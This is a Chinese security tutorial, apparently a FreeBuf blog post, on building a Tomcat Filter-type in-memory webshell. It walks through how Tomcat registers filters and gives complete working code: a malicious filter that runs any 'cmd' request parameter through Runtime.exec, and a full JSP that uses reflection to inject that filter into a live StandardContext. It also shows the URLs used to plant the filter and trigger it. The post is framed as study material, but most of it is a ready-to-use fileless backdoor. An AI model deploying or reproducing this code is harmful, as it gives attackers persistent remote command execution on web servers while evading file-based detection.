本文首发于FreeBuf https://www.freebuf.com/articles/web/365501.html
在学习了白日梦组长师傅的《java内存马专题1-servlet内存马》后深受启发,决定自己去探索学习一下Filter型内存马,收获颇多,在此分享给大家。
一、神奇的tomcat
为了学习tomcat内存马,我们应该先了解一下tomcat的基本结构
Tomcat = WEB 服务器 + Servlet 容器
Connector做的事情:
- 监听网络端口
- 接收网络请求
- 读取请求中的字节流,并将字节流转换为Request对象
- 将Request对象发送到Container ,同时接收Container 返回的Response对象
- 转换Response对象为字节流并响应网络请求
小结:Connector是Tomcat与外部连接的通道,接收各种不同协议的网络请求
为了学习tomcat内存马,我们需要重点关注的是处理内部 Servlet的Container
Container使用Pipeline-Valve管道来处理request对象:
- Valve表示管道的阀门,每个管道都有一个BaseValve,在最后一个执行。
- request对象最先进入EnginePipeline进行处理,依次会执行每一个Valve,直到StandardWrapperValve
- 当执行到StandardWrapperValve的时候,会在StandardWrapperValve中创建FilterChain,并调用其doFilter方法来处理请求,这个FilterChain包含着我们配置的与请求相匹配的Filter和Servlet,其doFilter方法会依次调用所有的Filter的doFilter方法和Servlet的service方法。
参考资料:https://www.cnblogs.com/java-chen-hao/p/11316795.html
二、Tomcat注册Filter的过程
根据组长的思路,先写一个Filter,来看一下tomcat是如何注册一个filter的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| public class HelloFilter implements Filter { @Override public void init(FilterConfig filterConfig) throws ServletException { Filter.super.init(filterConfig); }
@Override public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { //若传入的参数中有cmd,执行cmd中的命令 if(request.getParameter("cmd")!=null){ Runtime.getRuntime().exec(request.getParameter("cmd")); } System.out.println("执行了HelloFilter过滤器"); chain.doFilter(request,response); }
@Override public void destroy() { Filter.super.destroy(); } }
|
在web.xml文件中配置好,/*
表示匹配所有路径
1 2 3 4 5 6 7 8
| <filter> <filter-name>HelloFilter</filter-name> <filter-class>com.example.memory_horse.HelloFilter</filter-class> </filter> <filter-mapping> <filter-name>HelloFilter</filter-name> <url-pattern>/*</url-pattern> </filter-mapping>
|
当我们访问任意路径加上?cmd=calc时
,都会执行到Runtime.getRuntime().exec(request.getParameter("cmd"));
弹出计算器
调试一下刚才执行的代码
我们知道,在ContextConfig类的configureContext方法中将解析xml文件后的内容加载到Context中(即tomcat在configureContext方法中正式加载xml文件)
我们在ContextConfig类的configureContext方法开始调试,断点下到1446行
该方法中与Filter相关的代码有1446行~1454行,这些代码做了两件事:
下面我们具体研究一下这两步
addFilterDef
context.addFilterDef(filter)
中的filter是一个FilterDef类的对象
1 2 3 4 5 6 7 8 9
| //FilterDef类 public class FilterDef implements Serializable { private transient Filter filter = null; private String filterClass = null; private String filterName = null; ...... getter(); setter(); }
|
我们可以手动创建一个FilterDef对象加入到context中,我们只需关注其中的filter,filterName和filterClass三个属性
1 2 3 4 5 6 7 8
| //新创建一个FilterDef对象 FilterDef filterDef = new FilterDef(); //设置其属性,HackFilter是我们的恶意类 filterDef.setFilter(new HackFilter()); filterDef.setFilterName("HackFilter"); filterDef.setFilterClass(HackFilter.class.getName()); //将构造好的FilterDef对象加入到context context.addFilterDef(filterDef);
|
addFilterMap
同理,我们添加一个FilterMap对象
1 2 3 4 5 6 7
| //新创建一个FilterMap对象 FilterMap filterMap = new FilterMap(); //设置其属性,HackFilter是我们刚构造的Filter filterMap.setFilterName("HackFilter"); filterMap.addURLPattern("/*"); //将构造好的FilterMap对象加入到context context.addFilterMap(filterMap);
|
filterConfigs.put
但是我们发现仅仅只靠这两步是不够的
图片来自https://blog.csdn.net/u010883443/article/details/107463782
蓝框中的是我们已经完成的操作,即addFilterDef
和addFilterMap
但是我们发现在后面的filterStart()中也有一些针对Filter的关键操作
在filterStart()方法中,filterDef
被封装为ApplicationFilterConfig类型的对象,然后重新添加到了filterConfigs
中
我们再来看一下filterConfigs
是什么
我们发现filterConfigs
就是StandardContext类的Map类型的成员属性
因此,我们下一步要做的是在context中添加一个ApplicationFilterConfig类的对象
1 2 3 4 5 6 7 8 9 10 11 12 13
| //反射得到ApplicationFilterConfig类的构造函数 Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class); constructor.setAccessible(true); //filterDef被封装为ApplicationFilterConfig类的对象 ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(context,filterDef);
//反射得到StandardContext类的filterConfigs属性 Field Configs = context.getClass().getDeclaredField("filterConfigs"); Configs.setAccessible(true); //得到context对象的filterConfigs属性 Map filterConfigs = (Map) Configs.get(context); //在context对象的filterConfigs属性中添加上我们构造好的ApplicationFilterConfig类的对象 filterConfigs.put("HackFilter",filterConfig);
|
三、写一个恶意Filter注册到tomcat
写一个恶意Filter
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| public class HackFilter implements Filter { @Override public void init(FilterConfig filterConfig) throws ServletException { Filter.super.init(filterConfig); }
@Override public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { //若传入的参数中有cmd,执行cmd中的命令 if(request.getParameter("cmd")!=null){ Runtime.getRuntime().exec(request.getParameter("cmd")); } System.out.println("执行了HackFilter过滤器"); chain.doFilter(request,response); }
@Override public void destroy() { Filter.super.destroy(); } }
|
通过上一节的学习,我们可以把我们构造的HackFilter添加进context中了。
但是,我们在程序运行过程中怎么获取context对象呢?
jsp内置对象request
有一个getServletContext()
方法,可以获得一个ServletContext
类的对象
那么如何通过servletContext找到StandardContext呢?
通过反射获取**context(ApplicationContext)属性,他是一个ApplicationContext对象,再获取它的context(StandardContext)**属性,得到了一个StandardContext类的对象。
用来获取StandardContext类的对象的代码如下:
1 2 3 4 5 6 7 8 9 10 11
| //获取到了ServletContext类的对象 ServletContext servletContext = request.getServletContext(); Field applicationContextField = servletContext.getClass().getDeclaredField("context"); applicationContextField.setAccessible(true); //获取到了ApplicationContext类的对象 ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);
Field standardContextField = applicationContext.getClass().getDeclaredField("context"); standardContextField.setAccessible(true); //获取到了StandardContext类的对象 StandardContext context = (StandardContext) standardContextField.get(applicationContext);
|
四、完整代码
综上,我们可以先梳理一下整个步骤:
- 获取context
- addFilterDef
- addFilterMap
- 封装filterDef为ApplicationFilterConfig类的对象
- 在context对象的filterConfigs属性中添加上我们构造好的ApplicationFilterConfig类的对象
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79
| <%@ page import="java.io.IOException" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %> <%@ page import="java.lang.reflect.Constructor" %> <%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %> <%@ page import="java.util.Map" %> <%@ page import="org.apache.catalina.Context" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <html> <head> <title>Title</title> </head> <body> <%! public class HackFilter implements Filter { @Override public void init(FilterConfig filterConfig) throws ServletException { Filter.super.init(filterConfig); }
@Override public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { //若传入的参数中有cmd,执行cmd中的命令 if(request.getParameter("cmd")!=null){ Runtime.getRuntime().exec(request.getParameter("cmd")); } System.out.println("执行了HackFilter过滤器"); chain.doFilter(request,response); }
@Override public void destroy() { Filter.super.destroy(); } } %>
<% //动态注册Filter //1.获取context ServletContext servletContext = request.getServletContext(); Field applicationContextField = servletContext.getClass().getDeclaredField("context"); applicationContextField.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);
Field standardContextField = applicationContext.getClass().getDeclaredField("context"); standardContextField.setAccessible(true); StandardContext context = (StandardContext) standardContextField.get(applicationContext);
//2.addFilterDef FilterDef filterDef = new FilterDef(); filterDef.setFilter(new HackFilter()); filterDef.setFilterName("HackFilter"); filterDef.setFilterClass(HackFilter.class.getName()); context.addFilterDef(filterDef);
//3.addFilterMap FilterMap filterMap = new FilterMap(); filterMap.setFilterName("HackFilter"); filterMap.addURLPattern("/*"); context.addFilterMap(filterMap);
//4.封装filterDef为ApplicationFilterConfig类的对象 Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class); constructor.setAccessible(true); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(context,filterDef);
//5.在context对象的filterConfigs属性中添加上我们构造好的ApplicationFilterConfig类的对象 Field Configs = context.getClass().getDeclaredField("filterConfigs"); Configs.setAccessible(true); Map filterConfigs = (Map) Configs.get(context); filterConfigs.put("HackFilter",filterConfig);
%> </body> </html>
|
浏览器访问http://localhost:8080/memory_horse_war_exploded/addFilter.jsp
内存马写入内存
访问http://localhost:8080/memory_horse_war_exploded/?cmd=calc
运行我们的恶意Filter
五、 关于setDispatcher
我们见到大多数人写的Filter内存马中都有这么一句:
1
| filterMap.setDispatcher(DispatcherType.REQUEST.name());
|
这个方法用来设置FilterMap的当前状态,该状态表示何时应用过滤器。
REQUEST表示请求的调度程序类型,是容器用于选择需要应用于请求的过滤器的一种类型。
并且该属性是有一个初始值的
我们看到,如果没有设置dispatcher,会默认返回一个REQUEST
所以说,我们可以不写这句话:filterMap.setDispatcher(DispatcherType.REQUEST.name());